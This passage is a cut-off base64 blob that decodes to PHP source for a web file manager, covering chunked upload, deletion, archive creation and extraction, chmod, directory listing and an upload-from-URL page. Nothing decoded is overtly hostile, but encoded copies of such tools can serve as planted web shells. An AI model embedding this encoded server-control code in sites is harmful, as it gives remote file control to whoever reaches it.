AgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46